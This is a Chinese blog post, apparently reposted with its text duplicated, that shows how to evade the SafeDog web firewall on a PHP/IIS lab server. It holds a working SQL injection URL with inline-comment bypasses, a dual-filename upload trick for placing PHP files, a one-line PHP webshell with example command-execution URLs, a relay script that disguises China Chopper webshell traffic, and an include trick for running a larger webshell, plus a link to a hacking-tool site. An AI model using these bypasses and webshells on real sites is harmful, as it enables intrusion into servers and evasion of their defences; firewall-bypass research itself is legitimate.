网站入侵检测之全方位突破安全狗
2015-05-03 19:02
489 查看
一、前言
安全狗是一款大家熟悉的服务器安全加固产品,据称已经拥有50W的用户量。
最近经过一些研究,发现安全狗的一些防护功能,例如SQL注入、文件上传、防webshell等都可以被绕过,下面为大家一一介绍。
二、测试环境
本次测试环境为
中文版Win2003 SP2+PHP 5.3.28+Mysql 5.1.72
网站安全狗IIS版3.2.08417
三、SQL注入绕过
我们先写一个存在SQL注入漏洞的php:
我用的是supesite的库,可以看到这里是有明显SQL注入漏洞的,当没有安全狗的时候可以成功注入:
当安装安全狗之后,注入语句会被拦截:
经过测试发现,安全狗这块的匹配正则应该是\s+and这类的,所以只要想办法去掉空格,用普通注释/**/是不行的,安全狗也防了这块。
但是对内联注释/*!and*/这种不知道为什么安全狗没有拦截。
用下面语句成功绕过SQL注入过滤:
有人说只有POST才可以,但是我测试最新版本的安全狗GET注入也是可以用这种方法绕过的。
四、文件上传绕过
安全狗的防上传也是做在WEB层,即分析HTTP协议来防止上传,按照yuange说的安全是一个条件语句,这显然是不符合安全规范的,只检查HTTP并不能保证文件系统层上的问题。
假设有一个上传功能的php:
然后在安全狗里设置禁止上传.php文件:
然后通过浏览器上传php会被拦截:
我们通过burp把上传的HTTP包抓下来,然后自己进行一下修改POST数据。
了一些实验,直接说结果吧,当增加一处文件名和内容,让两个文件名不一致的时候,成功绕过了安全狗的防护,上传了php文件。
因为安全狗进行文件名匹配时候用的是第一个文件名test.jpg,是复合安全要求的,但是webserver在保存文件的时候却保存了第二个文件名test.php,也就是if(security_check(a)){do(b);},导致安全检查没有用,php文件已经成功上传了:
这样的的上传数据可能是不符合RFC规范的,但是却达到了绕过拦截的目的。结论是每种安全检查一定要在对应的层次做检查,而不能想当然的在WEB层做系统层该做的事情。
五、一句话webshell绕过
对于攻击者来说,安全狗很烦人的一点就是传上去的webshell却不能执行。我们就来看看怎么绕过安全狗对一句话webshell的拦截。
首先要知道安全狗防webshell仍然是依靠文件特征+HTTP来判断,但webshell真正执行是在脚本层,检查的层次不对当然也是可以轻易绕过去的。
因为php里面函数名都可以是变量,文件里哪还有特征啊,上传如下php:
然后在浏览器里执行:
成功执行了系统命令,当然也可以执行php代码:
六、菜刀绕过
测试发现这种一句话虽然可以成功执行,但是在菜刀里却不能用,而有些人非觉得这样的一句话麻烦,非要用菜刀。
经分析安全狗对菜刀的HTTP请求做了拦截,菜刀的POST数据里面对eval数据做了base64编码,安全狗也就依靠对这些特征来拦截,因此要想正常使用菜刀,必须在本地做一个转发,先把有特征的数据转换。这个思路类似于对伪静态注入的本地转发。
首先在本地搭建WEB SERVER,然后写一个php转发程序:
意思就是在本地先对eval数据进行base64解码,然后再POST到目标机器上去。在菜刀里设置URL为本地转发php脚本:
这样就可以使用菜刀来连接前面那个一句话马了:
这样就能用菜刀了,不过大家真的没必要执着于菜刀,向大家推荐一款菜刀工具: http://www.exehack.net/576.html
七、webshell大马绕过
一句话功能毕竟有限,想用大马怎么办?仍然是传统的include大法,传一个big.php内容如下:
然后再把大马修改名为exehack.txt然后上传到目标网站目录下,然后在访问big.php这样就成功绕过安全狗的拦截执行了webshell
PS:这里是已php大马为例子,如果是asp aspx 或者jsp的脚本语音网站就把后缀修改为相应的即可!
这样大马也顺利执行了。
八、结束语
上面从SQL注入、上传、webshell等几个方面绕过了安全狗的保护,有些绕过方法安全狗可能早就知道了,但是为什么一直没有补?很可能的原因是怕过滤太严格影响某些应用,在安全和通用性之间做取舍我认为是可以理解的,但是我觉得这也正是安全研究人员存在的价值所在。
这里发几句题外的牢骚,很多安全公司其实是当作软件公司来做的,做安全软件就是去做开发,而忽视了安全研究的价值。普通的防护方法原理很简单,但想要不影响应用又保证安全其实很难,如果没有对漏洞和攻击有深入理解的研究人员,安全产品是没法更上一层楼的。
希望各个安全公司不要太功利,对研究人员多一些重视,安全公司真的不能仅仅等同于软件公司啊!
安全狗是一款大家熟悉的服务器安全加固产品,据称已经拥有50W的用户量。
最近经过一些研究,发现安全狗的一些防护功能,例如SQL注入、文件上传、防webshell等都可以被绕过,下面为大家一一介绍。
二、测试环境
本次测试环境为
中文版Win2003 SP2+PHP 5.3.28+Mysql 5.1.72
网站安全狗IIS版3.2.08417
三、SQL注入绕过
我们先写一个存在SQL注入漏洞的php:
1 2 3 4 5 6 7 8 9 10 11 12 13 | <? $uid = $_REQUEST['id']; if(!$conn = @mysql_connect("localhost", "root", "123456")) die('<font size=+1>An Error Occured</font><hr>unable to connect to the database.'); if(!@mysql_select_db("supe",$conn)) die("<font size=+1>An Error Occured</font><hr>unable to find it at database on your MySQL server."); $text = "select * from supe_members where uid=".$uid; $rs = mysql_query ($text,$conn); while($rom = mysql_fetch_array($rs)) { echo $rom["username"]; } ?> |
当安装安全狗之后,注入语句会被拦截:
经过测试发现,安全狗这块的匹配正则应该是\s+and这类的,所以只要想办法去掉空格,用普通注释/**/是不行的,安全狗也防了这块。
但是对内联注释/*!and*/这种不知道为什么安全狗没有拦截。
用下面语句成功绕过SQL注入过滤:
1 | http://192.168.200.115/inj.php?id=1/*!and*/1=2/*!union*//*!select*/1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15,16,17 |
有人说只有POST才可以,但是我测试最新版本的安全狗GET注入也是可以用这种方法绕过的。
四、文件上传绕过
安全狗的防上传也是做在WEB层,即分析HTTP协议来防止上传,按照yuange说的安全是一个条件语句,这显然是不符合安全规范的,只检查HTTP并不能保证文件系统层上的问题。
假设有一个上传功能的php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 | <?php if ($_FILES["file"]["error"] > 0) { echo "Return Code: " . $_FILES["file"]["error"] . "<br />"; } else { echo "Upload: " . $_FILES["file"]["name"] . "<br />"; echo "Type: " . $_FILES["file"]["type"] . "<br />"; echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb<br />"; echo "Temp file: " . $_FILES["file"]["tmp_name"] . "<br />"; if (file_exists("upload/" . $_FILES["file"]["name"])) { echo $_FILES["file"]["name"] . " already exists. "; } else { move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "Stored in: " . "upload/" . $_FILES["file"]["name"]; } } ?> <html> <body> <form action="upload.php" method="post" enctype="multipart/form-data"> <label for="file">Filename:</label> <input type="file" name="file" id="file" /> <br /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html> |
然后通过浏览器上传php会被拦截:
我们通过burp把上传的HTTP包抓下来,然后自己进行一下修改POST数据。
了一些实验,直接说结果吧,当增加一处文件名和内容,让两个文件名不一致的时候,成功绕过了安全狗的防护,上传了php文件。
因为安全狗进行文件名匹配时候用的是第一个文件名test.jpg,是复合安全要求的,但是webserver在保存文件的时候却保存了第二个文件名test.php,也就是if(security_check(a)){do(b);},导致安全检查没有用,php文件已经成功上传了:
这样的的上传数据可能是不符合RFC规范的,但是却达到了绕过拦截的目的。结论是每种安全检查一定要在对应的层次做检查,而不能想当然的在WEB层做系统层该做的事情。
五、一句话webshell绕过
对于攻击者来说,安全狗很烦人的一点就是传上去的webshell却不能执行。我们就来看看怎么绕过安全狗对一句话webshell的拦截。
首先要知道安全狗防webshell仍然是依靠文件特征+HTTP来判断,但webshell真正执行是在脚本层,检查的层次不对当然也是可以轻易绕过去的。
因为php里面函数名都可以是变量,文件里哪还有特征啊,上传如下php:
1 2 3 | <?php $_REQUEST['a']($_REQUEST['xiaocan']); ?> |
1 | http://192.168.200.115/small.php?a=system&b=dir |
成功执行了系统命令,当然也可以执行php代码:
1 | http://192.168.200.115/small.php?a=assert&b=phpinfo(); |
六、菜刀绕过
测试发现这种一句话虽然可以成功执行,但是在菜刀里却不能用,而有些人非觉得这样的一句话麻烦,非要用菜刀。
经分析安全狗对菜刀的HTTP请求做了拦截,菜刀的POST数据里面对eval数据做了base64编码,安全狗也就依靠对这些特征来拦截,因此要想正常使用菜刀,必须在本地做一个转发,先把有特征的数据转换。这个思路类似于对伪静态注入的本地转发。
首先在本地搭建WEB SERVER,然后写一个php转发程序:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | <?php $target="http://192.168.200.115/small.php";//这个就是前面那个一句话的地址 $poststr=''; $i=0; foreach($_POST as $k=>$v) { if(strstr($v, "base64_decode")) { $v=str_replace("base64_decode(","",$v); $v=str_replace("))",")",$v); } else { if($k==="z0") $v=base64_decode($v); } $pp=$k."=".urlencode($v); //echo($pp); if($i!=0) { $poststr=$poststr."&".$pp; } else { $poststr=$pp; } $i=$i+1; } $ch = curl_init(); $curl_url = $target."?".$_SERVER['QUERY_STRING']; curl_setopt($ch, CURLOPT_URL, $curl_url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); echo $result; ?> |
这样就可以使用菜刀来连接前面那个一句话马了:
这样就能用菜刀了,不过大家真的没必要执着于菜刀,向大家推荐一款菜刀工具: http://www.exehack.net/576.html
七、webshell大马绕过
一句话功能毕竟有限,想用大马怎么办?仍然是传统的include大法,传一个big.php内容如下:
1 2 3 | <?php include('exehack.txt'); ?> |
PS:这里是已php大马为例子,如果是asp aspx 或者jsp的脚本语音网站就把后缀修改为相应的即可!
这样大马也顺利执行了。
八、结束语
上面从SQL注入、上传、webshell等几个方面绕过了安全狗的保护,有些绕过方法安全狗可能早就知道了,但是为什么一直没有补?很可能的原因是怕过滤太严格影响某些应用,在安全和通用性之间做取舍我认为是可以理解的,但是我觉得这也正是安全研究人员存在的价值所在。
这里发几句题外的牢骚,很多安全公司其实是当作软件公司来做的,做安全软件就是去做开发,而忽视了安全研究的价值。普通的防护方法原理很简单,但想要不影响应用又保证安全其实很难,如果没有对漏洞和攻击有深入理解的研究人员,安全产品是没法更上一层楼的。
希望各个安全公司不要太功利,对研究人员多一些重视,安全公司真的不能仅仅等同于软件公司啊!
相关文章推荐
- 网络安全热门话题——如何对被(已经/正在)入侵网站进行检测和防范
- 对韩国某手表网站的一次偶然安全检测
- asp.net网站安全检测网址
- 安全运维之:Linux后门入侵检测工具2
- 网站安全检测软件FreeSecurity1.0
- 系统安全防范之Windows日志与入侵检测
- 网站安全:整站如何防止SQL注入方式入侵
- 网站被入侵后需做的检测
- 安全检测Java Web应用网站漏洞
- 初步接触之网站的入侵检测
- Tiger –UNIX:一款开源安全审计 入侵检测工具
- Snort 网络入侵检测系统(四)之构建安全图形分析引擎
- 对某农业专业网站的一次安全检测
- 系统安全防护之UNIX下入侵检测方法
- 网站安全修改本地cookie,post,xss等入侵测试firefox利器
- 利用Axis2默认口令安全漏洞入侵WebService网站
- 网站在线安全检测介绍
- 换句话说 SEO优化、HTML、PhotoShop、CSS层叠样式表、ASP、JavaScript、PHP、网络安全,入侵检测,服务器安全设置搞定这些都不在话下
- 网站安全检测点
- 网站安全检测篇之SQLSERVER高级注入技巧